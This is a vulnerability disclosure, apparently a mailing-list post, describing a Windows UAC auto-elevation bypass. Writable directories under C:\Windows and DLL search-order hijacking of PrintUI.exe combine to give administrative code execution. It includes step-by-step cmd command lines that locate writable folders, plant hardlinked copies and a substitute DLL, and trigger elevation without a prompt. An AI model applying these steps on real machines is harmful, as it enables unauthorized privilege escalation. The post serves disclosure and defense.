Hi @ll, Microsoft still ships Windows with and lets it create user-writable directories below the "Windows" directory %SystemRoot%\ -- despite that, with exception of %SystemRoot%\Temp\, they are all used to store DATA and SHOULD have been placed below %ProgramData% alias %SystemDrive%\ProgramData\ instead! JFTR: %ProgramData% was introduced with Windows Vista more than 15 (in words: FIFTEEN) years ago, but Microsoft obviously just doesn't care to cleanup their mess. Authenticode signature verification, for example required to color the UAC prompt yellow (untrusted) or blue (trusted) and as precondition for the "auto-elevation" (mis)feature of some 63+ applications shipped with Windows 7 and ALL later versions, doesn't care about the filename of an executable, but (eventually) evaluates the pathname of the (application) directory. Put together these two weaknesses allow to run arbitrary code WITH administrative rights in several (user-writable) directories below C:\Windows: in the account created during Windows setup without UAC prompt, in (unprivileged) standard user accounts with (blue) UAC prompt! CVSS 3.0 score: 8.2 (High) CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Demonstration ~~~~~~~~~~~~~ 1. Log on to an arbitrary unprivileged (standard) user account and start the command processor, then run the following command lines to detect the user-writable directories below %SystemRoot%\ through creation of a hardlink named WRITABLE.EXE and collect their pathnames in the file %ProgramData%\WRITABLE.LOG: COPY /Y NUL: "%ProgramData%\WRITABLE.LOG" && ( DIR "%SystemRoot%" /A:D /B /S 1>"%ProgramData%\WRITABLE.TMP" && ( FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO @( MKLINK /H "%~?\WRITABLE.EXE" "%ProgramData%\WRITABLE.LOG" 2>NUL: && 1>>"%ProgramData%\WRITABLE.LOG" ECHO %~?)) TYPE "%ProgramData%\WRITABLE.LOG") On fresh installations of Windows 10 2004/20H1/20H2 for AMD64 alias x64 processors this yields the following pathnames: C:\Windows\Tasks C:\Windows\Temp C:\Windows\tracing C:\Windows\Registration\CRMLog C:\Windows\System32\FxsTmp C:\Windows\System32\Tasks C:\Windows\System32\Com\dmp C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\PRINTERS C:\Windows\System32\spool\SERVERS C:\Windows\System32\spool\drivers\color C:\Windows\SysWOW64\FxsTmp C:\Windows\SysWOW64\Tasks C:\Windows\SysWOW64\Com\dmp On installations which were upgraded to (any version of) Windows 10, the following additional pathname is typically listed: C:\Windows\System32\Tasks_Migrated On installations which have been used for some time, the following additional pathnames are typically listed: C:\Windows\debug\WIA C:\Windows\PLA\Reports C:\Windows\PLA\Rules C:\Windows\PLA\Templates C:\Windows\PLA\Reports\de-DE C:\Windows\PLA\Reports\en-GB C:\Windows\PLA\Reports\en-US ... C:\Windows\PLA\Reports\ru-RU C:\Windows\PLA\Rules\de-DE C:\Windows\PLA\Rules\en-GB C:\Windows\PLA\Rules\en-US ... C:\Windows\PLA\Rules\ru-RU C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE} C:\Windows\System32\LogFiles\WMI 2. Let's see whether the hardlinks WRITABLE.EXE can be (ab)used: copy an arbitrary executable to all of them and execute it. JFTR: PrintUI.exe is one of the 63+ applications which have UAC auto- elevation enabled. SETLOCAL ENABLEDELAYEDEXPANSION COPY /Y "%ProgramData%\WRITABLE.LOG" "%ProgramData%\WRITABLE.TMP" && ( COPY /Y "%SystemRoot%\System32\PrintUI.exe" "%ProgramData%\WRITABLE.LOG" && ( FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO ( START "" /WAIT "%~?\WRITABLE.EXE" ECHO !ERRORLEVEL!))) In unprivileged (standard) user accounts this triggers an UAC prompt for each file executed, some yellow, showing "Publisher: Unknown", some blue showing "Verified Publisher: Microsoft Windows". After giving consent to the UAC prompt a dialog box showing usage instructions for PrintUI.dll is displayed, indicating that (the copy of) PrintUI.exe loads PrintUI.dll: | Usage: rundll32 printui.dll,PrintUIEntry [options] [@commandfile] JFTR: since PrintUI.exe runs elevated, PrintUI.dll runs elevated too! 3. Let's verify the Authenticode signature of the copy of PrintUI.exe: SignTool.exe VERIFY /A /V "%ProgramData%\WRITABLE.LOG" | Verifying: C:\ProgramData\WRITABLE.LOG | File is signed in catalog: C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5- 00C04FC295EE}\ntexe.cat ... | Successfully verified: C:\ProgramData\WRITABLE.LOG ... Authenticode doesn't care about the path/filename of signed executables, even for files with detached signatures, although the *.CAT files used to distribute detached digital signatures can store the filename! 4. Let's see whether PrintUI.exe follows the guidance given by the MSRC (Microsoft Security Response Center) in the almost 7 year old blog post <https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>. the more than 10 year old security advisory <https://technet.microsoft.com/en-us/library/2269637.aspx>, or the nearly 10 year old MSKB articles <https://support.microsoft.com/en-us/kb/2389418> and <https://support.microsoft.com/en-us/kb/2533623>: copy ShUnimpl.dll as PrintUI.dll next to the copy of PrintUI.exe and execute the latter. JFTR: ShUnimpl.dll is the graveyard for obsolete "shell" functions; its _DllMainCRTStartup() entry point function returns FALSE to disable their use, lets the module loader fail with NTSTATUS 0xC0000142 alias STATUS_DLL_INIT_FAILED, and lets LoadLibrary() fail with the Win32 error 1114 alias ERROR_DLL_INIT_FAILED COPY "%SystemRoot%\System32\ShUnimpl.dll" "%ProgramData%\PrintUI.dll" RENAME "%ProgramData%\WRITABLE.LOG" PrintUI.exe START "" /WAIT "%ProgramData%\PrintUI.exe" CERTUTIL.exe /ERROR %ERRORLEVEL% OUCH: (the copy of) PrintUI.exe loads an arbitrary PrintUI.dll from its application directory instead of %SystemRoot%\System32\PrintUI.dll The Common Weaknesses and Exposures classifies such misbehavior, which results in arbitrary code execution (here with escalation of privilege), as - CWE-426: Untrusted Search Path <https://cwe.mitre.org/data/definitions/426.html> - CWE-427: Uncontrolled Search Path Element <https://cwe.mitre.org/data/definitions/427.html> The Common Attack Pattern Enumeration and Classification lists it as - CAPEC-471: Search Order Hijacking <https://capec.mitre.org/data/definitions/471.html> JFTR: (un)fortunately PrintUI.dll is not the only DLL that PrintUI.exe loads from an unsafe path, and (un)fortunately PrintUI.exe is not the only auto-elevating application which loads DLLs from unsafe paths! A really big "Hooray!" to Microsoft's sloppy, careless and clueless developers as well as their sound asleep quality^Wmiserability assurance! 5. Let's see whether UAC auto-elevation is also possible in at least one of the user-writable directories: log on to the UAC-controlled user account created during Windows setup, start an UNELEVATED (unprivileged) command prompt and run the following command lines: SETLOCAL ENABLEDELAYEDEXPANSION FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO ( MKLINK /H "%~?\PrintUI.dll" "%ProgramData%\PrintUI.dll" && ( START "" /WAIT "%~?\WRITABLE.EXE" ECHO !ERRORLEVEL!)) BINGO: GAME OVER! UAC performs auto-elevation at least in the directories C:\Windows\System32\CatRoot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ and C:\Windows\System32\Tasks_Migrated\; a copy of PrintUI.exe run in these directories loads/executes an arbitrary PrintUI.dll placed there too, with ADMINISTRATIVE privileges, without UAC prompt. JFTR: even without UAC auto-elevation, this beginner's error present in PrintUI.exe (really: almost all applications shipped with Windows) allows to fool Jane and Joe Average who typically give consent to a blue UAC prompt which shows "Certified Publisher: Microsoft Windows". stay tuned, and far away from Microsoft's eternally vulnerable crap! Stefan Kanthak